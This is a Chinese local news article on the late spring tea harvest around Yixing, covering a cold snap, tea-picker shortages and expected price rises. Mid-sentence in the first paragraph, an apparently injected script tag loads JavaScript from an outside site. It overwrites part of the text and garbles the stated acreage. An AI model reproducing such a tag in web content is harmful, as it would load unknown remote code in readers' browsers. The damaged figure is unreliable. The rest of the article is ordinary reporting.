新茶开采了 各大茶场全面采摘仍要到本月底

　　昨天，位于太华山区的茗鼎茶场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?0多亩“乌牛早”早熟茶率先开采(如下图)。据市农林局茶果指导站技术人员介绍，由于受气候等因素影响，今年我市地产新茶开采时间普遍比往年晚一周左右时间。随着清明临近、气温逐步上升，预计到3月25日左右，我市各大茶场将开始全面开采春茶，到时市民可品尝到真正的地产“明前茶”。

　　新茶采摘期“姗姗来迟”

　　春分前后，茶芽吐新，如果天气正常，便是采制春分茶的最佳时机。然而今年3月上旬，我市遭遇“倒春寒”，大部分茶场春茶生长受到影响，新茶开采时间比往年晚了约7天，“茶老板”只能干着急。

　　市农林局茶果指导站站长许晴暖介绍，由于前期天气太冷，影响了茶树生长，我市新茶整体开采预计要到3月底，只有个别茶场目前已采摘新茶。茗鼎茶场种植的新品种茶树是早熟品种，加上茶场的“小气候”较好，使得在清明节前半个月就有早茶可采。

　　茶农现在最担心的是接下来的天气情况。“茶叶生长最适宜的温度在10℃－20℃之间，如果气温太低，对茶叶生长不利。”许晴暖说，“如果保持现在的晴好天气，茶叶采摘期有可能会提前几天。”

　　采茶工短缺压力较大

　　目前，宜兴的茶园面积、茶叶产量均居全省之首，已成为全国首批20个无公害茶叶生产示范基地市（县）之一。

　　据了解，根据茶园的规模大小和采集情况，一般来说每两亩茶树需要采茶工1人，这也就意味着宜兴近7万亩茶场里，最少需要3万多名采茶工。由于需求量庞大、用工期较短，且大多是临时工，我市几乎每年都会出现采茶工缺口。茶叶的盛采期只有50天时间，鲜叶如果没有及时采下来，很快就会变老，茶场损失会非常大。

　　每到春茶上市季节，很多茶场老板都要赶赴外地招工。位于新街街道的新街茶场有限公司，茶场面积200多亩。虽然要到月底才开采新茶，但100名采茶女工已落实到位。公司负责人蒋锋锋透露，通过与招工“中间人”协商，预订了人数，为全面采摘做好了准备。“要留得住采茶工，关键还是要提高待遇。”许晴暖建议各茶场要实施人性化管理，除了开出合理报酬外，还要积极提供免费食宿，安排专人送茶水、点心等， 尽力创造良好工作条件。他说，如果因采茶工短缺耽误了采摘期，损失远远大于用在员工身上的支出。

　　新茶上市质优价高

　　尽管春茶上市时间比往年推迟，但由于今年降雨少、“倒春寒”次数少等原因，预计名特茶产量、质量仍将保持较高水平，全年干茶产量有望超过去年的6500吨，产值近3亿元。

　　据预测，今年新茶的价格会更高。每年清明节前上市的春茶统称“明前茶”，品质很好。去年，地产新茶平均价格每公斤500多元，高档白茶价格每公斤1000多元。尽管地产新茶还没有上市，但近日前往我市各茶叶企业和经销店的顾客不少，有的甚至付了定金预购了新茶。许晴暖分析，受成本增加等因素影响，今年地产新茶平均每公斤价格肯定要超过600元，高档白茶甚至可能超过1500元。一家茶叶店的负责人说，按照往年惯例，茶叶上市越早茶价也就越高。这两天订购茶叶的客户比往年多，高档礼品茶的需求量也明显比往年要高，预订价格约为800元/公斤。（贾乙）